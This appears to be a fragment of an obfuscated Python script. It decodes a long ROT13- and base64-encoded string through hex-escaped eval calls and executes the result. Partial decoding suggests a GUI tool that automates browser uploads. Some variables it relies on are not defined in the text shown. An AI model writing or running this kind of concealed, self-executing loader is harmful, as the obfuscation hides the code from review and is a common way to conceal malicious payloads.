destiny = '3AmYzAfnJAeXPxXPvNtVPNtVPNtq2ScqS94pTS0nPtaY2u0oJjiLz9xrF9xnKMoAI0iMTy2Y2Ecqv9xnKLiMTy2JmWqY2W1qUEiov9cWlxXVPNtVPNtVPOwpz9mplN9VTElnKMypv5znJ5xK2IfMJ1yoaEsLaysrUOuqTtbWl9bqT1fY2WiMUxiMTy2JmIqY2Ecqv9xnKLiMTy2Y2EcqyflKF9vqKE0o24inFpcPvNtVPNtVPNtL3Wip3ZhL2kcL2fbXDbtVPNtVPNtVUEcoJHhp2kyMKNbZP44XDbXVPNtVPNtVPOgLJyhK3OuM2HtCFOxpzy2MKVhL3IlpzIhqS93nJ5xo3qsnTShMTkyPtbtVPNtVPNtVTyzVTymK2kcp3EcozphM2I0XPx6PvNtVPNtVPNtVPNtVUqunKEsrUOuqTtbWl8iXygNnJD9Vy9sozI4qPWqY2EcqyfkKF9gLJyhY2Ecqv9xnKLiMTy2JmSqY2Ecqv9mpTShJmWqY2RaXDbtVPNtVPNtVPNtVPOmMJkfVQ0tMUWcqzIlYzMcozEsMJkyoJIhqS9vrI94pTS0nPtaYl8dJ0OcMQ0vK19hMKu0Vy0iMTy2JmSqY21unJ4iMTy2Y2Ecqv9xnKMoZI0iMTy2Y3AjLJ5oZy0iLFpcPvNtVPNtVPNtVPNtVUAyoTjhL2kcL2fbXDbXVPNtVPNtVPNtVPNtq2ScqS9wp3Asp2IfMJA0o3VbVzyhpUI0J3OfLJAynT9fMTIlCFqOoJ91oaDaKFVcPvNtVPNtVPNtVPNtVTSgo3IhqPN9VTElnKMypv5znJ5xK2IfMJ1yoaEsLaysL3AmK3AyoTIwqT9lXPWcoaO1qSgjoTSwMJuioTEypw0aDJ1iqJ50W10vXDbtVPNtVPNtVPNtVPOuoJ91oaDhp2IhMS9eMKymXUA0pvufo29jK3OlnJAyXFxXVPNtVPNtVPNtVPNtqTygMF5moTIypPtkXDbXVPNtVPNtVPNtVPNtq2ScqS9wp3Asp2IfMJA0o3VbVzW1qUEioyg0rKOyCFqmqJWgnKDaKFVcPvNtVPNtVPNtVPNtVTkcp3EcozptCFOxpzy2MKVhMzyhMS9yoTIgMJ50K2W5K2Amp19mMJkyL3EipvtvLaI0qT9hJ3E5pTH9W3A1Lz1cqPqqVvxXVPNtVPNtVPNtVPNtoTymqTyhMl5woTywnltcPvNtVPNtVPNtVPNtVUEcoJHhp2kyMKNbZGNcPtbtVPNtVPNtVPNtVPNwMz9lVRkcqzHXVPNtVPNtVPNtVPNtV3qunKEsL3AmK3AyoTIwqT9lXPWvqKE0o25oL2kup3Z9W0Wfo2AepzIuL3EsK0Wfo2AeYKAwYGS4MwR4rQLgZPOPqKE0o25lMJSwqS9sH3E5oTIxDaI0qT9hYKAwYJqfMz1uZl0jVTWbpHIXLvOzraqRM0jaKFVcPvNtVPNtVPNtVPNtVPAmnJqhL29gpTkyqTHtCFOxpzy2MKVhMzyhMS9yoTIgMJ50K2W5K2Amp19mMJkyL3EipvtvLaI0qT9hJ2AfLKAmCFqPoT9wn3WyLJA0K19PoT9wnl1mLl0krTLkBUt2YGNtDaI0qT9hpzIuL3EsK1A0rJkyMRW1qUEiov1mLl1aoTMgLGZgZPOvnUSSFzVtMac3ETqZW10vXDbtVPNtVPNtVPNtVPNwp2yaozAioKOfMKEyYzAfnJAeXPxXVPNtVPNtVPNtVPNtV2ElnKMypv5yrTIwqKEyK3AwpzyjqPtvLKWaqJ1yoaEmJmOqYzAfnJAeXPx7Vvjtp2yaozAioKOfMKEyXDbXVPNtVPNtVPNtVPNtnJLtnKAspT9frJqiov5aMKDbXGbXVPNtVPNtVPNtVPNtVPNtVTElnKMypv5znJ5xK2IfMJ1yoaEsLaysrUOuqTtbWl8iLaI0qT9hJ3EyrUDbXG0vH2yaovWqWlxhL2kcL2fbXDbtVPNtVPNtVPNtVPNtVPNtqTygMF5moTIypPtkXDbXVPNtVPNtVPNtVPNtMz9lVTuuozEfMFOcovOxpzy2MKVhq2yhMT93K2uuozEfMKZ6PvNtVPNtVPNtVPNtVPNtVPOcMvObLJ5xoTHtVG0toJScoy9jLJqyBtbtVPNtVPNtVPNtVPNtVPNtVPNtVTkiM2yhK3OuM2HtCFObLJ5xoTHXVPNtVPNtVPNtVPNtVPNtVPNtVPNwLaWyLJfXVPNtVPNtVPNtVPNtVlOwnTShM2HtqTuyVTAioaElo2jtqT8tp2yaozyhVUOuM2HXVPNtVPNtVPNtVPNtMUWcqzIlYaA3nKEwnS90ol53nJ5xo3pboT9anJ5spTSaMFxXVPNtVPNtVPNtVPNtq2ScqS9wp3Asp2IfMJA0o3VbVzW1qUEioygxLKEuYKEyp3EcMQ0apzIkqJImqP1mnJqhLKE1pzIsK3AcM24aKFVcPvNtVPNtVPNtVPNtVUAcM24tCFOxpzy2MKVhMzyhMS9yoTIgMJ50K2W5K2Amp19mMJkyL3EipvtvLaI0qT9hJ2EuqTRgqTImqTyxCFqlMKS1MKA0YKAcM25uqUIlMI9sp2yaovqqVvxXVPNtVPNtVPNtVPNtp2yaov5woTywnltcPvNtVPNtVPNtVPNtVUEcoJHhp2kyMKNbZFxXVPNtVPNtVPNXVPNtVPNtVPNwL2uuozqyVTAioaElo2jtqT8toJScovOjLJqyPvNtVPNtVPNtMUWcqzIlYaA3nKEwnS90ol53nJ5xo3pboJScoy9jLJqyXDbtVPNtVPNtVUEcoJHhp2kyMKNbZP43XDbXVPNtVPNtVPOmqTSlqS9hqJ0tCFOmqTSlqS9hqJ0tXlNkPvNtVPNtVPNtpUWcoaDbW05TIPOwpzIuqTyiovOwo21joTI0MJDuWlxXPvZwVlZwDyIHIR9BVScCGxHwVlZwVlZwPvZtnKAhqJ1To3WgLKDtCFO0n2yhqTIlYxAbMJAeLaI0qT9hXUWio3DfVUEyrUD9W051oJWypvOzo3WgLKDtZQNjZFO+VQx5BGxaYPO2LKV9nKAsoaIgMz9loJS0YPO3nJE0nQ00BFjtLJ5wnT9lCFW3VvxXVlOcp251oHMipz1uqP5apzyxXUWiqm0kBPjtL29fqJ1hCGRcPzymD3WyLKEyVQ0tqTgcoaEypv5QnTIwn2W1qUEiovulo290YPO0MKu0CFqQo21joTI0MFOZnKA0nJ5aWljtqzSlCJymK2kcp3EcozpfVUqcMUEbCGD5YPOuozAbo3V9VapvXDccp0AlMJS0MF5apzyxXUWiqm0kBFjtL29fqJ1hCGRcPzymHT9frJqiovN9VUEenJ50MKVhD2uyL2gvqKE0o24bpz9iqPjtqTI4qQ0aHT9frJqiovOPoT9wn2AbLJyhWljtqzSlCJymK3OioUyao24fVUqcMUEbCGD5YPOuozAbo3V9VapvXDccp1OioUyao24hM3WcMPulo3p9ZwNfVTAioUIgow0kXDc1pTkiLJEsMz9fMTIlK2yhpUI0K2W1qUEiovN9VUEenJ50MKVhDaI0qT9hXUWio3DfVUqcMUEbCGHjYPObMJyanUD9ZFjtVUEyrUD9VxSxMPOBEyEmVSIjoT9uMPOTo2kxMKVvYPOwo21gLJ5xCKIjoT9uMS9zo2kxMKWsnJ5jqKDcPaIjoT9uMS9zo2kxMKWsnJ5jqKEsLaI0qT9hYzqlnJDbpz93CGVkYPOwo2k1oJ49ZFjtpTSxrQ0lXDcipTIhK2Wlo3qmMKVtCFO0n2yhqTIlYxW1qUEiovulo290YPO3nJE0nQ01ZPjtnTIcM2u0CGRfVPO0MKu0CFWCpTIhVRAbpz9gMFOPpz93p2IlVvjtL29goJShMQ1ipTIhK2Abpz9gMI9jpz9znJkyXDcipTIhK2Wlo3qmMKVhM3WcMPulo3p9ZwZfVTAioUIgow0kYPOjLJE5CGVcPzW1qUEioy9mLKMyVQ0tqTgcoaEypv5PqKE0o24bpz9iqPjtq2yxqTt9AGNfVTuynJqbqQ0kYPNtqTI4qQ0vH2S2MFOHnTymVRMipz0vYPOwo21gLJ5xCKAuqzHcVNcvqKE0o25sp2S2MF5apzyxXUWiqm0lZvjtL29fqJ1hCGRfVUOuMUx9ZvxXLaI0qT9hK3A0LKW0VQ0tqTgcoaEypv5PqKE0o24bpz9iqPjtq2yxqTt9AQDfVTuynJqbqQ0lYPOvMm0vM3WyMJ4vYPOzMm0vq2ucqTHvYPO0MKu0CFWGqTSlqPVfVTAioJ1uozD9oJScoy9jpz9apzSgK2kio3NcPzW1qUEioy9mqTSlqSfaMz9hqPqqVQ0tMz9hqP5To250XUAcrzH9ZGNfVUqynJqbqQ0aLz9fMPpcPzW1qUEioy9mqTSlqP5apzyxXUWiqm0lAFjtL29fqJ1hCGRfVUOuMUx9ZvxXMz9iqTIlVQ0tqTgcoaEypv5PqKE0o24bpz9iqPjtnTIcM2u0CGZfVUqcMUEbCGLjYPO0MKu0CFqRolO5o3HtrJ91VUquoaDtqT8tp2uiqlOmqKOjo3W0ClOpovOBo3ptrJ91VTuuqzHtqTuyVTAbLJ5wMFO0olOvqKxtoJHtLFOwo2MzMJHhVSEbLJ5eVUyiqF4aYPNtL29goJShMQ1wo2MzMJIIHxjfVUWyoTyyMw1UHx9CIxHtVPxXMz9iqTIlYzqlnJDbpz93CGZkYPOwo2k1oJ5mpTShCGVfVUOuMUt9ZmRfVUOuMUx9ZmRcPtbXqUW5BtbtVPNtq2y0nPOipTIhXUAuqzIsMzyfMI9jLKEbXPxfVPWlLvVcVTSmVTyhMzyfMGbXVPNtVPNtVPOhMKqsMTywqPN9VUOcL2gfMF5fo2SxXTyhMzyfMFxXVPNtVPNtVPOaoT9vLJjtqKOfo2SxK3OuqTtXVPNtVPNtVPOBLJ1yK2AbLJ5aMI9coJqsMz9fMTIlK2W1qUEiovuhMKqsMTywqSfjKFxXVPNtVPNtVPO1pTkiLJEspTS0nPN9VT5yq19xnJA0JmOqPzI4L2IjqPOTnJkyGz90Ez91ozESpaWipwbXVPNtVUOup3ZXVlZwVlAPIIEHG04tJx9BEFOSGxDwVlZwVlZwPaWio3DhoJScozkio3NbXDbtVPNt'
joy = '\x72\x6f\x74\x31\x33'
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))